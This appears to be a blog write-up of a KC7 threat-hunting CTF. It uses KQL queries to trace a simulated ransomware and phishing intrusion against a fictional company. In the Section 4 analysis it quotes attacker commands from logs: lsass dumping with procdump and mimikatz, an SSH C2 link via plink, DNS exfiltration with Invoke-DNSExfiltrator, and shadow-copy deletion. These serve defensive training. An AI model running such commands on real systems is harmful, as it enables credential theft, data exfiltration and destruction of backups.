KC7 CTF — Castle and Sand Writeup: Section 3 & 4

PLZ ENTER TEXT
11 min readMar 17, 2024

--

Recap on Section 1 & 2 (Highly suggest you to read it before starting this for context): https://medium.com/@PLZENTERTEXT/kc7-ctf-castle-and-sand-writeup-section-1-2-4d3debeb31e2

Full score on the scoreboard 😎

NOTE:

  • 🦆 for hard challenges
  • Section 3 requires some Section 2 challenges
  • Section 5 requires some Section 4 challenges

Section 3: Hunting the Shark 🔍

  1. Oh no! The ransomware gang sent the Castle&Sand CEO a voicemail. Listen to it. How many hours does Castle&Sand have before the gang releases the information? Link to voicemail: https://twitter.com/webyteyourdata/status/1665825830495219713

72

2. What do the ransomware gang call themselves?

Shark boys ; shark boyz ; shark bois ; Shark Boyz ; sharkboyz ; sharkbois

3. What MITRE Technique is aligned with what this group did on Castle&Sand systems?

T1486 (Data Encrypted for Impact)

4. Search for the email domain used in the ransom note. What is the ZIP code of their headquarters?

https://onionmail.org/privacy

5. What country is this email service located in?

USA

6. Look at the IP addresses from Section 2, Q16 using MaxMind GeoIP2. How many continents total are these IP addresses from? https://www.maxmind.com/en/geoip-demo

3

7. Use search.censys.io to look up the IP address found in Section 2, Q17. What is the Autonomous System (AS) number for the IP address?

AS3215

8. Look at the IPs from Section 2, Q18. Which one is assigned to a University?

157.242.169.232 (Loyola Marymount University)

9. 🦆 Look at the emails from Section 2, Q25. Which email address is associated with a company outside of the United States?

Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to
| extend reply_to = split(reply_to, "@")[1];

PassiveDns
| where domain in ("verizon.com", "hotmail.com", "yandex.com", "castleandsand.com")
| distinct ip

Since there is no results, meaning castleandsand’s location cannot be found (No mapped IP).

However, yandex is a Russian company (& the only email in the email list):

urgent_urgent@yandex.com

10. For the tool found in Section 2, Q38, what is the MITRE ID for that specific software?

S0002 (Mimikatz)

11. For the tool found in Section 2, Q38, what is the MITRE ID for that type of technique that this tool is typically used for?

Reference: Mimikatz, Software S0002 | MITRE ATT&CK®

T1003 (OS Credential Dumping)

12. ❌ Take the filenames from Section 2, Q42. How many unique SHA256 hashes are found in Castle&Sand’s environment with these filenames?

let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
let parent_process_list =
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| distinct parent_process_name;
ProcessEvents
| where parent_process_name in (parent_process_list)
| distinct parent_process_hash
| count

9

13. How many were flagged as malicious on VirusTotal?

  1. 21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d (Malicious)
  2. af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b (Malicious)
  3. aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f (Malicious)
  4. 4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d (Not Malicious)
  5. 7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250 (Malicious)
  6. b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2 (Malicious)
  7. d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0 (Malicious)
  8. 82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180 (Malicious)
  9. f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8 (Malicious)

8

14. Which file hash was reported by the security community as the ransomware’s encrypted payload?

82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180

15. For Section 2, Q43, what ransomware family uses a command similar to this process execution?

Bablock ; Rorschach ; Storm-1219 (Can be seen from S3Q13 Community section or Family labels section, Bablock is always mentioned)

Section 4: Sand in my 👁️👁️ (New Threat Actor)

  1. Castle&Sand may have been targeted by a recent phishing campaign. The threat actors used an email with Castle&Sand’s name in it: castleandsand_official@outlook.com. How many emails were sent from this email to Castle&Sand employees?
Email 
| where sender startswith "castleandsand_official@outlook.com"
| count

2. There appears to be another email account. How many emails total are referenced by these two email accounts?

Email 
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| count

3. How many unique domains were used by these email accounts?

Email 
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result
| count

4. Based on these domains, what type of attack did this threat actor conduct?

Watering-hole attack

5. How many distinct job roles were targeted by this type of attack?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
Employees
| where email_addr in (watering_hole_domain)
| distinct role
| count

6. 🦆 Take the targeted employees and look for all external IP addresses that authenticated to those users. How many external IP addresses were used to successfully log into those user accounts?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip
| count

💡 VERY IMPORTANT: Use username instead of hostname, the answer differs! This is so maybe because they first log into accounts and then can spread to more machines using additional IP addresses later.

7. 🦆 These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct Filename
| count

💡 InboundNetworkEvents’s url column has mail related queries :’D

8. How many distinct IPs were involved in the stealing of downloaded data from the previous questions?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct src_ip
| count

156.155.83.236, 215.168.239.75, 223.9.222.59, 43.185.57.65, 195.242.92.76, 124.138.210.88, 192.91.130.34, 190.198.227.17, 215.239.162.10

9. Based on the IPs from Q6, how many unique domains did they resolve to?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let username_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
PassiveDns
| where ip in (username_list)
| distinct domain
| count

10. Go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?

let watering_hole_recipient =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let watering_hole_username =
Employees
| where email_addr in (watering_hole_recipient)
| distinct username;
AuthenticationEvents
| where username in (watering_hole_username)
| where result == "Successful Login"
| distinct hostname
| count

11. Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?

let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
let domain_list =
PassiveDns
| where ip in (external_ip_list)
| distinct domain;
let filenames =
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (domain_list)
| distinct url
| extend Path = tostring(parse_url(url).Path)
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
FileCreationEvents
| where filename in (filenames)
| count

Distinct filenames:

Work-Updates.docx

HR_Notes.pdf

employee.lnk

Employee_Changes.xlsx

store_updates.xlsx

12. 🦆 Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?

let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)

A pattern is found where after installation of the files mentioned, there will be another instance of the same hostname, but with a different/suspicious filename

let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)
| serialize // Marks the input row set as serialized (ordered), so that window functions can be applied to it
| extend next_timestamp_filename = next(filename) // Finding the next filename on the next timestamp
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| where next_timestamp_filename !in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") // If the next file is one of the originals, ignore
| distinct next_timestamp_filename
| count

Malware filenames:

TSVIPSrv.dll

1.exe

i.exe

wmi.dll

procdump64.exe (Only this file is not malicious in VirusTotal)

13. How many of these files total are present on Castle&Sand systems?

FileCreationEvents
| where filename in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| count

14. How many distinct C2 servers are associated with the malware?

ProcessEvents
// All related processes
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where process_commandline has "plink.exe"
| distinct process_commandline
| count

C2 servers are IPs in this case

195.242.92.76

190.198.227.17

43.185.57.65

198.161.105.253

223.119.134.94

215.168.239.75

15. 🦆 Find out what this threat actor did at the very end. When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.

(Heads up: This is a long one)

ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")

Output:

  1. procdump64.exe -accepteula -ma lsass.exe lsass.dmp C:\\mi.exe \\"privilege::debug\\" \\"sekurlsa::logonpasswords full\\" exit >> C:\\log.txt mimikatz's sekurlsa::logonpasswords
  • procdump64.exe - CLI utility that creates memory dumps of processes
  • accepteula - Flag to accept the End-User License Agreement (EULA) for Procdump without prompting
  • ma - Option to create a full dump of a process (lsass.exe - Process name for the Local Security Authority Subsystem Service)
  • lsass.dmp - Name of the dump file that will be created
  • C:\\\\mi.exe - Name of an executable file that is run after the dump is created
  • "privilege::debug" and "sekurlsa::logonpasswords full" are commands/parameters passed to the debugger
  • exit - Exit the debugger
  • mimikatz's sekurlsa::logonpasswords is likely a comment or note about the purpose of the command

2. plink.exe -i C:\\Users\\admin\\.ssh\\id_rsa 215.168.239.75 -q

  • Trying to initiate a SSH connection for C2 server
  • plink.exe - CLI SSH client
  • -i C:\\Users\\admin\\.ssh\\id_rsa - Path to the private key file used for authentication
  • -q - Quiet mode, suppressing output

3. cmd.exe /c a.bat > C:\\wmi.dll 2>&1

  • /c - Option to execute the specified command and then terminate
  • a.bat - Batch file or script to be executed
  • 2>&1 - Redirects the standard error to the same location as the standard output (wmi.dll)

Getting the last affected user with the last timestamp and looking through the commands:

ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where username == "jojones" and hostname == "NYEL-DESKTOP"

ProcessEvents
| where username == "jojones" and hostname == "NYEL-DESKTOP" and timestamp > datetime(2023-05-17T09:20:15Z)

Attacker was doing recon:

  • cmd.exe whoami
  • cmd.exe ipconfig /all
  • cmd.exe net localgroup administrators /domain
  • cmd.exe nltest /dc:list (List the domain controllers available in the current domain)

Getting the first timestamp from the attack, and viewing the commands (Unsuspicious ones were filtered out at the end):

let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| distinct process_commandline
| where process_commandline !contains "Teams.exe"
and process_commandline !contains "Spotify"
and process_commandline !contains "EXCEL.EXE"
and process_commandline !contains "WINWORD.EXE"
and process_commandline !contains "OneDrive.exe"

Suspicious/Unusual commands:

  1. cy.exe --run=1337 --pt=C:\\Users\\Public\\Desktop\\winutils.dll --cg=C:\\Users\\Public\\Desktop\\config.ini --we=C:\\Users\\Public\\Desktop\\cy.exe

2. Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500

3. Trying to inhibit system recovery:

bcdedit.exe 111111111111111111111111111

  • Used to manage the Boot Configuration Data (BCD) store in Windows
  • The BCD store contains boot configuration parameters and controls the boot process for Windows
  • Responsible for specifying which operating system to boot, configuring boot options, and managing boot entries
  • 111...111 is not a valid argument
  • Without a valid argument, the command would likely result in an error or display the available options for the bcdedit.exe command

vssadmin.exe 11111111111111111111111

  • Used to manage the Volume Shadow Copy Service (VSS) in Windows

vssadmin.exe delete shadows /All /Quiet

  • Delete all existing shadow copies on the system
  • Shadow copies are created by the Volume Shadow Copy Service and are used for creating backups or restoring previous versions of files
  • By running this command with the /All and /Quiet options, it deletes all shadow copies without prompting for confirmation or displaying any output

wbadmin.exe 1111111111

  • Used for Windows Server Backup administration and recovery operations

wevtutil.exe 111111111111111111111111111111

  • Used for managing Windows Event Logs

Trying Invoke-DNSExfiltrator:

let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"

2023–05–26T10:33:04Z
(The first occurrence of Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500)

Extra note:

let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
FileCreationEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
  • Invoke-DNSExfiltrator.ps1 was created
  • Nearing the end, every file is encrypted with .sharkfin

16. What MITRE Technique is this aligned with?

T1048 (Exfiltration — Exfiltration Over Alternative Protocol)

17. How many hosts are affected by this action?

ProcessEvents
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
| distinct hostname
| count

18. How many distinct job roles were affected by this action?

let victim_hostname =
ProcessEvents
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
| distinct hostname;
Employees
| where hostname in (victim_hostname)
| distinct role
| count

Fun fact, the roles are:

  • Marketing Director
  • Chief Executive Officer
  • Sales Director
  • Chief Operations Officer
  • Chief Financial Officer

Wew, another long one! We have 2 more last sections (Section 5 & 6) to go!

--

--